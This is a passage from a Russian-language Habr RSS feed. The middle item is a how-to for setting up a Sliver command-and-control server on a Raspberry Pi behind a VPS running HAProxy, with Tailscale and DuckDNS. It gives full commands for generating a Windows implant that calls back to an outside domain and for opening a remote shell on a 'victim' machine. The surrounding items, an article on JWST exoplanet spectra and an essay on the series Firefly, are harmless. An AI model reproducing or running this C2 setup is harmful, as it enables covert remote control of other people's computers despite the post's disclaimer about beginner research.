глубокий.&lt;p&gt;&lt;a href=https://iopscience.iop.org/article/10.3847/1538-3881/ae4976 rel=&#34;noopener noreferrer nofollow&#34;&gt;Новое исследование&lt;/a&gt; озаглавлено «GEMS и „Уэбб“: спектроскопия пропускания TOI-5205b выявляет значительное загрязнение звёздной материей и атмосферу с низким содержанием металлов» и опубликовано в журнале The Astronomical Journal. Ведущий автор — Калеб Каньяс. Каньяс — стипендиат постдокторской программы в Центре космических полётов имени Годдарда НАСА.&lt;p&gt;«Недавние открытия транзитных гигантских экзопланет (Rₚ ≳ 8 R⊕) вокруг карликов класса M дают возможность исследовать состав их атмосфер и изучить, как такие массивные планеты формируются вокруг звёзд с малой массой, вопреки предсказаниям моделей формирования», — пишут исследователи. В их статье представлены первые спектры пропускания TOI-5205b. «Уэбб» зафиксировал три спектра атмосферы планеты, когда она трижды прошла перед своей звездой.&lt;p&gt;Эти спектры также преподнесли несколько сюрпризов. Атмосфера TOI-5205b имеет более низкую концентрацию металлов (на языке астрономов — элементов тяжелее водорода и гелия), чем у газовых гигантов, таких как Юпитер в нашей Солнечной системе. Её атмосфера также имеет более низкую &lt;a href=https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D1%82%D0%B0%D0%BB%D0%BB%D0%B8%D1%87%D0%BD%D0%BE%D1%81%D1%82%D1%8C rel=&#34;noopener noreferrer nofollow&#34;&gt;металличность&lt;/a&gt;, чем у её звезды. Это отличает её от любой другой массивной планеты, когда-либо изученной.&lt;p&gt;В атмосфере экзопланеты также присутствуют метан и сероводород, что не так шокирует, но всё же достаточно важно.&lt;p&gt;«Характеристика внутренней структуры гигантских планет является важным шагом в улучшении нашего понимания истории их формирования», — объясняют исследователи. «Ключевым свойством гигантской планеты является общая металличность».&lt;p&gt;Собрав спектральные данные об экзопланете, исследователи обратились к атмосферным моделям, чтобы понять, что эти спектры говорят об общей металличности экзопланеты. Модели показали, что общий состав TOI-5205b почти в 100 раз богаче металлами, чем её атмосфера.&lt;p&gt;«Мы наблюдали гораздо меньшую металличность, чем предсказывали наши модели для общего состава планеты, который рассчитывается на основе измерений массы и радиуса планеты. Это указывает на то, что тяжёлые элементы мигрировали внутрь во время формирования, и теперь её недра и атмосфера не смешиваются», — пояснил Каньяс. «В целом эти результаты указывают на очень богатую углеродом и бедную кислородом атмосферу планеты».&lt;p&gt;По сравнению с газовыми гигантами нашей Солнечной системы это очень странная ситуация, хотя у Юпитера и Сатурна тоже не наблюдается смешивания атмосферы с недрами. Химический состав, богатый углеродом и бедный кислородом, предполагает состав, сильно отличающийся от состава её звезды-хозяина. Это может означать, что экзопланета сформировалась в области протопланетного диска, где было много углеродсодержащего льда, но не было водяного льда — основного источника кислорода. Возможно, экзопланета мигрировала по мере своего формирования, собирая различные материалы при прохождении через разные области диска. Это также могло бы объяснить, почему она находится на такой узкой орбите. Или это может означать, что она аккрецировала очень мало каменного или ледяного материала и в основном аккрецировала газ.&lt;p&gt;В любом случае это ставит под сомнение предсказание небулярной гипотезы о том, что состав газового гиганта в значительной степени соответствует составу его звезды.&lt;p&gt;Однако исследователи указывают на некоторые оговорки в своих результатах, в основном связанные с активностью звезды, которая может вносить шум в спектры транзита. «Мы предупреждаем, что значительное звёздное загрязнение и отсутствие обнаружения воды могут привести к занижению значений металличности атмосферы, и будущие наблюдения в рамках GO 7683 (Общая программа наблюдений „Уэбба“) помогут подтвердить или опровергнуть эти выводы», — пишут они.&lt;p&gt;TOI-5205b — одна из семи планет, изучаемых в рамках проекта GEMS. Как только у исследователей появятся подробные данные по всем из них, они смогут лучше понять TOI-5205b в более широком контексте. Они объясняют, что GEMS предоставит «… выборку хорошо охарактеризованных атмосфер тёплых юпитеров, которая (i) обеспечит данные об атмосферной и объёмной металличности, чтобы рассмотреть TOI-5205b в более широком контексте, и (ii) позволит провести сравнение с горячими юпитерами и газовыми гигантами Солнечной системы для изучения потенциальных ограничений на формирование GEMS».&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
      <author>SLY_G</author>
      <guid>https://habr.com/ru/articles/1024872/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1024872</guid>
      <pubDate>Sat, 18 Apr 2026 08:13:33 +0000</pubDate>
    </item>
    <item>
      <title>Как я собрал себе C2 на малинке за один вечер</title>
      <link>https://habr.com/ru/articles/1024918/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1024918</link>
      <description>&lt;div&gt;&lt;div class=&#34;article-formatted-body article-formatted-body article-formatted-body_version-2&#34;&gt;&lt;div xmlns=http://www.w3.org/1999/xhtml&gt;&lt;h3&gt;Всем привет!&lt;/h3&gt;&lt;p&gt;Давно хотел поднять свой C2-сервер. Ну, чтобы как большие мальчики — с доменом, прокси, шифрованным туннелем. Но покупать VPS с 8GB RAM и платить за Cobalt Strike как-то жирновато. Решил: будет малинка.&lt;br&gt;&lt;br&gt;ВНИМАНИЕ : Эта статья предназначена для ознакомления начинающим исследователям в области кибербезопасности. Я не буду тут показывать как обходить защиту windows и какие либо системы обнаружения угроз . Перед загрузкой вредоносного файла я отключил защиту в windws.&lt;h3&gt;Что взял из железа и софта&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Raspberry Pi 4 (4GB). Валялась без дела.&lt;li&gt;&lt;p&gt;SD-карта на 32GB.&lt;li&gt;&lt;p&gt;Самый дешёвый VPS на 2GB за 4 евро в месяц. На нём - HAProxy.&lt;li&gt;&lt;p&gt;Tailscale (бесплатно на 3 устройства).&lt;li&gt;&lt;p&gt;Sliver - открытая альтернатива Cobalt Strike.&lt;li&gt;&lt;p&gt;DuckDNS - бесплатный динамический DNS.&lt;/ul&gt;&lt;p&gt;АРХИТЕКТУРА :&lt;br&gt;Имплант → xxxxxxxx.duckdns.org:443 → VPS (HAProxy) → Tailscale → Pi4 (Sliver:31337)&lt;h3&gt;Настройка Tailscale&lt;/h3&gt;&lt;p&gt;На Pi и VPS:&lt;p&gt;bash&lt;pre&gt;&lt;code class=bash&gt;curl -fsSL https://tailscale.com/install.sh | sh&#xA;sudo tailscale up&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:87px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;После авторизации получаем IP:&lt;ul&gt;&lt;li&gt;&lt;p&gt;Pi: &lt;code&gt;100.92.XX.XXX&lt;/code&gt;&lt;li&gt;&lt;p&gt;VPS: &lt;code&gt;100.106.XXX.XX&lt;/code&gt;&lt;/ul&gt;&lt;p&gt;Проверяем связь:&lt;p&gt;bash&lt;pre&gt;&lt;code class=bash&gt;ping 100.92.XXX.XXX&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;h3&gt;Установка Sliver на Pi&lt;/h3&gt;&lt;p&gt;Скачиваем бинарник:&lt;p&gt;bash&lt;pre&gt;&lt;code class=bash&gt;cd /tmp&#xA;wget https://github.com/BishopFox/sliver/releases/download/v1.7.3/sliver-server_linux_arm64&#xA;sudo install -m 755 sliver-server_linux_arm64 /usr/local/bin/sliver-server&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Запускаем:&lt;p&gt;bash&lt;pre&gt;&lt;code class=bash&gt;sliver-server daemon --lhost 0.0.0.0 --lport 31338&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Слушатель создаётся на порту &lt;code&gt;31337&lt;/code&gt;.&lt;h3&gt;Настройка VPS (HAProxy)&lt;/h3&gt;&lt;p&gt;Устанавливаем:&lt;p&gt;bash&lt;pre&gt;&lt;code class=bash&gt;sudo apt install -y haproxy&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Конфиг &lt;code&gt;/etc/haproxy/haproxy.cfg&lt;/code&gt;:&lt;p&gt;haproxy&lt;pre&gt;&lt;code&gt;global&#xA;    log /dev/log local0&#xA;    maxconn 10000&#xA;&#xA;defaults&#xA;    mode tcp&#xA;    timeout connect 5s&#xA;    timeout client 60s&#xA;    timeout server 60s&#xA;&#xA;frontend sliver_frontend&#xA;    bind :443&#xA;    default_backend sliver_backend&#xA;&#xA;backend sliver_backend&#xA;    server pi4 100.92.XXX.XXX:31337 check&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Запускаем:&lt;p&gt;bash&lt;pre&gt;&lt;code&gt;sudo systemctl enable haproxy&#xA;sudo systemctl start haproxy&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;h3&gt;Настройка домена (DuckDNS)&lt;/h3&gt;&lt;p&gt;Регистрируем домен &lt;a href=https://xxxxxxx.duckdns.org rel=&#34;noopener noreferrer nofollow&#34;&gt;&lt;code&gt;xxxxxxxx.duckdns.org&lt;/code&gt;&lt;/a&gt;, привязываем к публичному IP VPS.&lt;p&gt;Проверяем:&lt;p&gt;bash&lt;pre&gt;&lt;code class=bash&gt;dig xxxxxxx.duckdns.org&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;h3&gt;Генерация импланта&lt;/h3&gt;&lt;p&gt;В консоли Sliver создаём слушатель:&lt;p&gt;bash&lt;pre&gt;&lt;code class=bash&gt;http --domain xxxxxxxxx.duckdns.org --lhost 0.0.0.0 --lport 31337&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Генерируем имплант:&lt;p&gt;bash&lt;pre&gt;&lt;code class=bash&gt;generate --mtls supersnusik.duckdns.org:443 --format exe --os windows --save /tmp/sliver.exe&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;h3&gt;Получение сессии&lt;/h3&gt;&lt;p&gt;Переносим файл на тестовую Windows 10, запускаем.&lt;p&gt;В консоли Sliver:&lt;p&gt;bash&lt;pre&gt;&lt;code class=bash&gt;sessions&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Результат:&lt;br&gt;&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/c43/8ad/59b/c438ad59b40b9e2a8d7c4f17a63e3aa5.jpg alt=&#34;когда жертва открыла ссылку , имплант автоматически скачался&#34; title=&#34;когда жертва открыла ссылку , имплант автоматически скачался&#34; width=930 height=837 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/c43/8ad/59b/c438ad59b40b9e2a8d7c4f17a63e3aa5.jpg 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/c43/8ad/59b/c438ad59b40b9e2a8d7c4f17a63e3aa5.jpg 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;когда жертва открыла ссылку , имплант автоматически скачался&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;text&lt;pre&gt;&lt;code class=bash&gt;[*] Session c5360843 UNIFORM_DISGUST - 100.106.xxx.xx:48190 (win10) - windows/amd64&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Сессия получена. Работаем:&lt;p&gt;bash&lt;pre&gt;&lt;code class=bash&gt;sessions -i c5360843&#xA;shell&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;h3&gt;Итог&lt;/h3&gt;&lt;p&gt;Готовая C2-инфраструктура за один вечер.&lt;p&gt;&lt;strong&gt;Плюсы:&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Бесплатное ПО (кроме VPS)&lt;li&gt;&lt;p&gt;Управление с телефона через Tailscale + Termius&lt;li&gt;&lt;p&gt;Возможность масштабирования&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;Расходы:&lt;/strong&gt; 4€ в месяц за VPS.&lt;h3&gt;Полезные команды&lt;/h3&gt;&lt;p&gt;bash&lt;pre&gt;&lt;code class=bash&gt;# Запуск Sliver&#xA;sliver-server daemon --lhost 0.0.0.0 --lport 31338&#xA;&#xA;# Создание слушателя&#xA;http --domain ваш-домен.duckdns.org --lhost 0.0.0.0 --lport 31337&#xA;&#xA;# Генерация импланта&#xA;generate --mtls ваш-домен.duckdns.org:443 --format exe --save /tmp/sliver.exe&#xA;&#xA;# Просмотр сессий&#xA;sessions&#xA;&#xA;# Интерактивный shell&#xA;sessions -i &amp;lt;id&amp;gt;&#xA;shell&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;h3&gt;Заключение&lt;/h3&gt;&lt;p&gt;Sliver - отличная бесплатная альтернатива коммерческим C2. Raspberry Pi + Tailscale + HAProxy дают надёжную и дешёвую инфраструктуру. Всё работает стабильно, сессии не теряются.&lt;p&gt;Вопросы и комментарии приветствуются.&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
      <author>BlackQube</author>
      <guid>https://habr.com/ru/articles/1024918/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1024918</guid>
      <pubDate>Sat, 18 Apr 2026 08:02:27 +0000</pubDate>
    </item>
    <item>
      <title>Благородные рыцари в космосе. Вспоминаем сериал «Светлячок»</title>
      <link>https://habr.com/ru/companies/ru_mts/articles/1023448/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1023448</link>
      <description>&lt;div&gt;&lt;div class=&#34;article-formatted-body article-formatted-body article-formatted-body_version-2&#34;&gt;&lt;div xmlns=http://www.w3.org/1999/xhtml&gt;&lt;p&gt;«Светлячок» купается в любви и фанатской преданности. Сложно поверить, что начало его жизни не такое яркое — боссам канала FOX он катастрофически не нравился. На протяжении съемок Джоссу Уидону — создателю — вставляли палки в колеса. То вестерн менеджерам казался не в тему, то герой недостаточно благороден, то часть серий не пустили в эфир. Увы, дальше первого сезона сериал не прожил, а полностью и в верном порядке вышел на DVD в 2003-м.&lt;p&gt;Культовый статус сериал получил быстро. Но достойного продолжения, мечты фанатов, — нет. Полнометражка и пачка комиксов — не то.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/41b/817/d06/41b817d065b3567c8364c0bb574a583b.png alt=&#34;На арте не хватает пилота, врача и пастора, но в тексте о них не забудем&#34; title=&#34;На арте не хватает пилота, врача и пастора, но в тексте о них не забудем&#34; width=1500 height=844 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/41b/817/d06/41b817d065b3567c8364c0bb574a583b.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/41b/817/d06/41b817d065b3567c8364c0bb574a583b.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;&lt;em&gt;На арте не хватает пилота, врача и пастора, но в тексте о них не забудем&lt;/em&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Спустя почти четверть века справедливость готова восторжествовать! Скоро увидим анимационную адаптацию. Какой она будет — узнаем, а сейчас давайте обсудим капитана Малкольма Рейнольдса — в мире сериала сверхтяжелый объект, потому что именно он притягивает неприятности. И людей — искажает их «орбиты», порой разрывает на кусочки.&lt;h3&gt;О шаблонах, архетипах и стереотипах в сериалах&lt;/h3&gt;&lt;p&gt;К 2004-му медиамашина в США точно знала, что, как и в каком формате нужно людям. Книги, фильмы, сериалы — практически все показывали примерно одинаковых героев и примерно одинаковые сюжеты, иногда лишь меняя сеттинг. Даже игры затянуло в конвейер Хороших парней всех сортов. &lt;p&gt;И вот очередная история про Хорошего парня в космосе. Как сделать ее хоть капельку оригинальнее? Джосс Уидон взял вестерн и свои мысли о гражданской войне в США, перемешал, возможно встряхнул — рецепт «Светлячка» готов. &lt;p&gt;Важной фигурой в сериале стал капитан, он же герой — Малкольм Рейнолдс. Из-за боссов FOX его характер слегка изменился, однако в основе рецепта мы имеем ни много ни мало — настоящего рыцаря. Без страха, но с упреками. &lt;h3&gt;Сверхтяжелый объект в космосе, или Капитан Малкольм Рейнолдс&lt;/h3&gt;&lt;p&gt;«Человек чести в воровском логове» — так капитана Малкольма в первой серии называет харизматичный контрабандист Бэджер. И именно кодекс чести Малкольма и его специфическое представление о справедливости первым делом западают в душу. &lt;p&gt;Ну, как в момент, когда Мэл в первой серии просто убивает горе-спецагента. Или во второй отправляет несговорчивого контрабандиста полетать в турбине корабля. Или когда называет Инару…  не будем говорить как. Добрый — не добрый, злой — не злой. Но точно сильно влияющий на всех вокруг, вносящий элемент то хаоса, то порядка в происходящее. &lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/be7/40f/2da/be740f2da58d6b957b6d4afbedb129b3.png alt=&#34;Та самая доброта с кулаками&#34; title=&#34;Та самая доброта с кулаками&#34; width=1000 height=667 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/be7/40f/2da/be740f2da58d6b957b6d4afbedb129b3.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/be7/40f/2da/be740f2da58d6b957b6d4afbedb129b3.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;&lt;em&gt;Та самая доброта с кулаками&lt;/em&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;По задумке автора сериала Джосса Уидона Малкольм Рейнольдс — не герой. Не спаситель, не добрый малый, даже скорее антигерой. Но боссы FOX потребовали сделать Мэла добрее. Так, в серии про ограбление поезда он не должен был отдавать лекарства, и его положительные черты планировали показывать намного позже. &lt;p&gt;«„Мэл“ — это „злой“ на латыни», — говорит Ривер в одной из серий. Ривер вообще единственный персонаж, который боится капитана как огня и всячески избегает встреч с ним. Возможно, в ее уста создатели вложили реальную оценку характера Мэла.&lt;blockquote&gt;&lt;p&gt;&lt;em&gt;«Милосердие — признак великого человека, а я просто хороший человек», — говорит Мэл, тыкая шпагой в лежащего и побежденного противника. &lt;/em&gt;&lt;/blockquote&gt;&lt;p&gt;На поверхности бесстрашная фигура, лихой парень, за словом в карман не полезет и на всё саркастично отреагирует. Персонажи часто упоминают, как он благороден, но это сомнительно: Мэл изворотлив, в нем есть что-то от Хана Соло.&lt;p&gt;Если копнуть глубже, то характер Мэла намного тверже, чем у Хана Соло и подобных персонажей, а поступки — серьезнее. Он рыцарски уважает женщин. Возможно, именно это качество не дает ему выразить прямо чувства к Инаре и оно же почти защитило его от Сафран. Упс, спойлеры!&lt;p&gt;Но главное — он капитан и от его решений зависит жизнь команды. Порой ради выживания он легко соглашается на сомнительные перспективы, и команда это одобряет. Или не осуждает. &lt;p&gt;Потому что капитан имеет сильнейшее влияние на всех вокруг.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/c50/415/c97/c50415c978f83a4a2a427f8efb96a053.png width=880 height=495 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/c50/415/c97/c50415c978f83a4a2a427f8efb96a053.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/c50/415/c97/c50415c978f83a4a2a427f8efb96a053.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;h3&gt;Как формируются сверхмассивные объекты в мире «Светлячка»&lt;/h3&gt;&lt;p&gt;Просто так даже черные дыры не родятся. Это применимо и к персонажам «Светлячка». Критическую массу Малкольм и остальные наращивали через предысторию и окружающий мир.&lt;p&gt;В первую очередь — через битву Независимых и Альянса за долину Серенити. Для Мэла и его сослуживицы Зои война закончилась печально: их взвод разбили, Альянс восторжествовал, а все Независимые остались «не на той стороне истории», как это часто озвучивают в сериале. Много крови, жестокости и утрат не могли не повлиять на Мэла и Зои. &lt;blockquote&gt;&lt;p&gt;&lt;em&gt;— Мы все умрем. &lt;/em&gt;&lt;p&gt;&lt;em&gt;— Нет, не умрем. Мы не можем умереть. Знаешь, почему? Потому что мы обалденно красивые. Мы такие лапули, что Господь не допустит нашей смерти. А?! Вы только посмотрите на этот волевой подбородок! &lt;/em&gt;&lt;/blockquote&gt;&lt;p&gt;Цитата выше из первой серии: одна из первых сцен, которая знакомит нас с капитаном. Видны основы характера Мэла: живучесть, саркастичность и решимость. Он готов идти до конца, даже когда понимает, что проиграл. В этом и суть капитана, и суть произведения напоминают рыцарский роман — сила, воля к победе, стремление к справедливости. Ну, насколько возможно в мрачном мире «Светлячка». &lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/a07/c54/ea6/a07c54ea68d580947669e2d18a2024cf.png alt=&#34;Мэл пытается приободрить сослуживца в первой серии&#34; title=&#34;Мэл пытается приободрить сослуживца в первой серии&#34; width=1361 height=763 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/a07/c54/ea6/a07c54ea68d580947669e2d18a2024cf.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/a07/c54/ea6/a07c54ea68d580947669e2d18a2024cf.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;&lt;em&gt;Мэл пытается приободрить сослуживца в первой серии&lt;/em&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;И конечно, кроме внутренних факторов для персонажей есть внешние: мир сериала «Светлячок» с благополучным центром и загибающимися окраинами, бесцветно-холодный Альянс в противовес более ярким и цветастым Независимым, падальщики, контрабандисты, бесконечный недружелюбный космос и злобные Пожиратели где-то там притаились. Иными словами, помощи ждать неоткуда. Значит, поможешь только сам себе. В идеале — найдя тех, кто разделит твои взгляды и подаст руку в трудный момент. Ну или хотя бы не попытается отдавить каблуком ладонь. &lt;h3&gt;«Юмор висельников» и дурашливость как ДНК сериала&lt;/h3&gt;&lt;p&gt;В сериале юмор строится по привычным схемам:&lt;ul&gt;&lt;li&gt;&lt;p&gt;Контраст сцен: сразу после жуткого уничтожения отряда Мэла мы видим, как капитан, Зои и Джейн грабят корабль. А в это время Уош играет с резиновыми динозавриками. &lt;li&gt;&lt;p&gt;Контраст тем: если речь о смерти, ужасах, разрушении — кто-то из команды едко прокомментирует. &lt;li&gt;&lt;p&gt;Классика юмора: переодевание мужчины в женщину. &lt;/ul&gt;&lt;p&gt;Юмор висельников же говорит о решимости персонажей и о том, что они, как никто другой, ценят жизни близких. А вот неблизким лучше не играть в плохишей и не угрожать друзьям.&lt;p&gt;То есть самые привычные и стандартные приемы юмора. Никакого абсурда, никакой игры с ожиданиями, уже где-то к середине сериала по динамике чувствуешь — сейчас будет шутка. И персонажи шутят!&lt;p&gt;И этот вид предсказуемости приносит огромное удовольствие. Как захотеть чихнуть — и чихнуть! &lt;h3&gt;Как сверхмассивные объекты влияют друг на друга&lt;/h3&gt;&lt;p&gt;Итак, мы имеем целую вереницу ярких персонажей со взаимным влиянием. Конечно, наиболее на всех влияет Мэл. Настолько сильно, что добряков толкает на сомнительные авантюры, а недобряков (назвать Джейна злым — сильно ошибиться) — делает порядочнее и принципиальнее. Под влияние попадают даже люди из Альянса: в третьей серии Мэл спасает одного офицера от жертвы пожирателей. Тот, конечно, забирает контрабанду, но команду не трогает. &lt;h3&gt;Зои и Уош&lt;/h3&gt;&lt;p&gt;Зои — боевая подруга, надежная, сильная для Мэла и заботливая, нежная для мужа. Собрала все положительные черты, которые можно придумать. Без шуток — это один из самых сильных и в то же время чутких женских персонажей. Безоговорочно верит Мэлу и продолжает его философию. &lt;blockquote&gt;&lt;p&gt;&lt;em&gt;— Можно я заберу вашу долю?&lt;/em&gt;&lt;p&gt;&lt;em&gt;— Нет.&lt;/em&gt;&lt;p&gt;&lt;em&gt;— А если вы умрете? &lt;/em&gt;&lt;/blockquote&gt;&lt;p&gt;И в этом вся суть дуэта: вместе были на волосок от смерти в бою против Альянса, теперь иначе относятся к жизни — с юмором висельников. Что и становится той самой ДНК сериала — такие приземленные шутки подчеркивают характеры и потребности персонажей. &lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/bf2/3e6/1e5/bf23e61e53aa662d228309848d92998c.png alt=&#34;Уош, капитан и Зои&#34; title=&#34;Уош, капитан и Зои&#34; width=1560 height=1016 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/bf2/3e6/1e5/bf23e61e53aa662d228309848d92998c.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/bf2/3e6/1e5/bf23e61e53aa662d228309848d92998c.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;&lt;em&gt;Уош, капитан и Зои&lt;/em&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Вот для пилота Уоша главное, например, чтобы жена — Зои — была цела. И если она верит Мэлу, то и Уош верит. Но ревнует. Опять убийственная миссия? Ну, капитан знает, что делает… И чувство юмора пилота вторит капитану и Зои. &lt;h3&gt;Кейли&lt;/h3&gt;&lt;p&gt;Человеческое воплощение Гаечки. Очень добрая, немного наивная, луч солнца в темном царстве. Оттого и странно, что она оправдывает действия капитана. &lt;p&gt;Воровство? Она в деле! Кэп убил парочку парней? Ну, они были не очень хорошими и вообще угрожали команде.&lt;p&gt;Кэп оскорбил и назвал коровой? Ну, обидно, но переживем.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/697/9c4/ff1/6979c4ff10447a9a7e45704f7dbaca1c.png alt=&#34;Тем более Кейли в итоге получила столь желанное платье и даже попала на бал&#34; title=&#34;Тем более Кейли в итоге получила столь желанное платье и даже попала на бал&#34; width=2048 height=1155 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/697/9c4/ff1/6979c4ff10447a9a7e45704f7dbaca1c.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/697/9c4/ff1/6979c4ff10447a9a7e45704f7dbaca1c.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;&lt;em&gt;Тем более Кейли в итоге получила столь желанное платье и даже попала на бал&lt;/em&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;При всем этом Кейли влияет на персонажей. Да, она хрупкий и нежный цветочек, который все стремятся защитить, но 